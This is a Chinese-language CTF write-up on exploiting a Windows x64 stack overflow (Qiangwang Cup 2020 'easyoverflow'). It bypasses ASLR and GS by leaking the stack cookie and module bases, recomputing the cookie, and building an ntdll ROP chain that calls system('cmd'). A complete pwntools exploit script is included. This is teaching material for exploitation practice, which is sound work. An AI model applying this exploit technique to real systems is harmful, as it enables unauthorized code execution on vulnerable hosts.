win pwn初探(三)
字数 959 2025-08-24 07:48:34
Windows PWN初探(三):绕过ASLR和GS保护机制
前言
本文是Windows PWN系列的第三篇,主要讲解如何绕过Windows平台上的ASLR(地址空间布局随机化)和GS(栈保护)机制。我们将以强网杯2020的easyoverflow题目为例,详细分析漏洞利用过程。
程序分析
保护机制检查
程序开启了以下保护:
- ASLR
- GS (Stack Cookie)
- DEP
未开启的保护:
- SafeSEH
- CFG
代码分析
int __cdecl main(int argc, const char **argv, const char **envp) {
FILE *v3; // rax
FILE *v4; // rax
FILE *v5; // rax
int v6; // ebx
char DstBuf[256]; // [rsp+20h] [rbp-118h] BYREF
v3 = _acrt_iob_func(0);
setbuf(v3, 0i64);
v4 = _acrt_iob_func(1u);
setbuf(v4, 0i64);
v5 = _acrt_iob_func(2u);
setbuf(v5, 0i64);
v6 = 3;
do {
--v6;
memset(DstBuf, 0, sizeof(DstBuf));
puts("input:");
read(0, DstBuf, 0x400u);
puts("buffer:");
puts(DstBuf);
} while (v6 > 0);
return 0;
}
漏洞点:read(0, DstBuf, 0x400u)可以读取0x400字节数据,而DstBuf只有256字节空间,存在栈溢出漏洞。
漏洞利用步骤
1. 泄露StackCookie
StackCookie工作原理
- 程序开始时:
push rbx
sub rsp, 130h
mov rax, cs:__security_cookie
xor rax, rsp
mov [rsp+138h+var_18], rax
- 将
__security_cookie与RSP异或后存储在栈上
- 程序结束时:
xor eax, eax
mov rcx, [rsp+138h+var_18]
xor rcx, rsp ; StackCookie
call __security_check_cookie
add rsp, 130h
pop rbx
retn
- 取出存储的值与RSP再次异或,恢复
__security_cookie并与全局值比较
泄露方法
StackCookie存储在rsp + 0x138 - 0x18处,而输入缓冲区距离该位置0x100字节。
利用代码:
p1 = b'a' * 0x100
r.sendafter('input:', p1)
r.recvuntil('a' * 0x100)
StackCookie = u64(r.recv(6).ljust(8, b'\x00'))
2. 泄露程序基地址
利用第二次输入覆盖rbp,泄露返回地址:
p2 = b'a' * 0x118
r.sendafter('input:', p2)
r.recvuntil('a' * 0x118)
leak_addr = u64(r.recv(6).ljust(8, b'\x00'))
binary_base = leak_addr - 0x12F4
3. 返回到main函数重新利用
由于栈地址会变化,需要重新泄露StackCookie:
main_addr = 0x1000 + binary_base
p3 = b'a' * 0x100
p3 += p64(StackCookie)
p3 += b'a' * 0x10
p3 += p64(main_addr)
r.sendafter('input:', p3)
4. 泄露ntdll.dll基地址
通过覆盖更多数据泄露ntdll.dll中的地址:
p4 = b'a' * 0x180
r.sendafter('input:', p4)
r.recvuntil('a' * 0x180)
ntdll_addr = u64(r.recv(6).ljust(8, b'\x00'))
ntdll_base = ntdll_addr - 0x485b
5. 构造ROP链
寻找gadgets
由于程序本身gadgets很少,需要从ntdll.dll中寻找:
pop rcx; retpop rbx; retpop rdx; ret
计算新的StackCookie
由于RSP会变化,需要重新计算:
# 泄露security_cookie
p5 = b'a' * 0x100
p5 += p64(StackCookie)
p5 += b'a' * 0x10
p5 += p64(pop_rcx_ret)
p5 += p64(security_cookie_addr)
p5 += p64(pop_rbx_ret)
p5 += p64(1)
p5 += p64(puts_plt)
security_cookie = u64(r.recvn(6).ljust(8, b'\x00'))
old_rsp = security_cookie ^ StackCookie
new_rsp = old_rsp + 0x160
new_StackCookie = new_rsp ^ security_cookie
6. 泄露ucrtbase.dll地址并执行system
# 泄露read_got获取ucrtbase地址
p6 = b'a' * 0x100
p6 += p64(new_rsp ^ security_cookie)
p6 += b'a' * 0x10
p6 += p64(pop_rcx_ret) + p64(read_got)
p6 += p64(pop_rbx_ret) + p64(1)
p6 += p64(puts_plt)
ucrt_base = u64(r.recvn(6).ljust(8, b'\x00')) - 0x7650
system_addr = 0xBCB20 + ucrt_base
cmd = 0xE0020 + ucrt_base
# 执行system("cmd")
p7 = b'a' * 0x100
p7 += p64((new_rsp + 0x160) ^ security_cookie)
p7 += b'a' * 0x10
p7 += p64(pop_rcx_ret) + p64(cmd)
p7 += p64(system_addr)
完整EXP
from pwn import *
context.log_level = 'debug'
r = remote('192.168.10.102', 1234)
# 第一次泄露StackCookie
p1 = b'a' * 0x100
r.sendafter('input:', p1)
r.recvuntil('a' * 0x100)
StackCookie = u64(r.recv(6).ljust(8, b'\x00'))
# 泄露binary基地址
p2 = b'a' * 0x118
r.sendafter('input:', p2)
r.recvuntil('a' * 0x118)
leak_addr = u64(r.recv(6).ljust(8, b'\x00'))
binary_base = leak_addr - 0x12F4
main_addr = 0x1000 + binary_base
# 返回到main函数
p3 = b'a' * 0x100
p3 += p64(StackCookie)
p3 += b'a' * 0x10
p3 += p64(main_addr)
r.sendafter('input:', p3)
# 重新泄露StackCookie
r.sendafter('input:', p1)
r.recvuntil('a' * 0x100)
StackCookie = u64(r.recv(6).ljust(8, b'\x00'))
# 泄露ntdll地址
p4 = b'a' * 0x180
r.sendafter('input:', p4)
r.recvuntil('a' * 0x180)
ntdll_addr = u64(r.recv(6).ljust(8, b'\x00'))
ntdll_base = ntdll_addr - 0x485b
# 准备gadgets
pop_rcx_ret = 0x0000000000096065 + ntdll_base
pop_rbx_ret = 0x00000000000012a7 + ntdll_base
pop_rdx_ret = 0x00000000000f12ab + ntdll_base
puts_plt = 0x10A6 + binary_base
security_cookie_addr = 0x3008 + binary_base
# 泄露security_cookie
p5 = b'a' * 0x100
p5 += p64(StackCookie)
p5 += b'a' * 0x10
p5 += p64(pop_rcx_ret)
p5 += p64(security_cookie_addr)
p5 += p64(pop_rbx_ret)
p5 += p64(1)
p5 += p64(puts_plt)
r.sendafter('input:', p5)
r.recvuntil('a' * 0x100)
r.recvline()
security_cookie = u64(r.recvn(6).ljust(8, b'\x00'))
old_rsp = security_cookie ^ StackCookie
new_rsp = old_rsp + 0x160
# 泄露ucrtbase地址
read_got = 0x2178 + binary_base
p6 = b'a' * 0x100
p6 += p64(new_rsp ^ security_cookie)
p6 += b'a' * 0x10
p6 += p64(pop_rcx_ret) + p64(read_got)
p6 += p64(pop_rbx_ret) + p64(1)
p6 += p64(puts_plt)
r.sendafter('input:', p6)
r.recvuntil('a' * 0x100)
r.recvline()
ucrt_base = u64(r.recvn(6).ljust(8, b'\x00')) - 0x7650
system_addr = 0xBCB20 + ucrt_base
cmd = 0xE0020 + ucrt_base
# 执行system("cmd")
p7 = b'a' * 0x100
p7 += p64((new_rsp + 0x160) ^ security_cookie)
p7 += b'a' * 0x10
p7 += p64(pop_rcx_ret) + p64(cmd)
p7 += p64(system_addr)
r.sendafter('input:', p7)
r.interactive()
总结
本文详细讲解了Windows平台下绕过ASLR和GS保护的方法,关键点包括:
- StackCookie的泄露和计算方法
- 程序基地址的泄露
- ntdll.dll中gadgets的利用
- RSP变化时的StackCookie重新计算
- 通过ucrtbase.dll获取system地址
这种技术在Windows平台PWN中非常实用,特别是在CTF比赛中遇到类似的题目时,可以按照这个思路进行利用。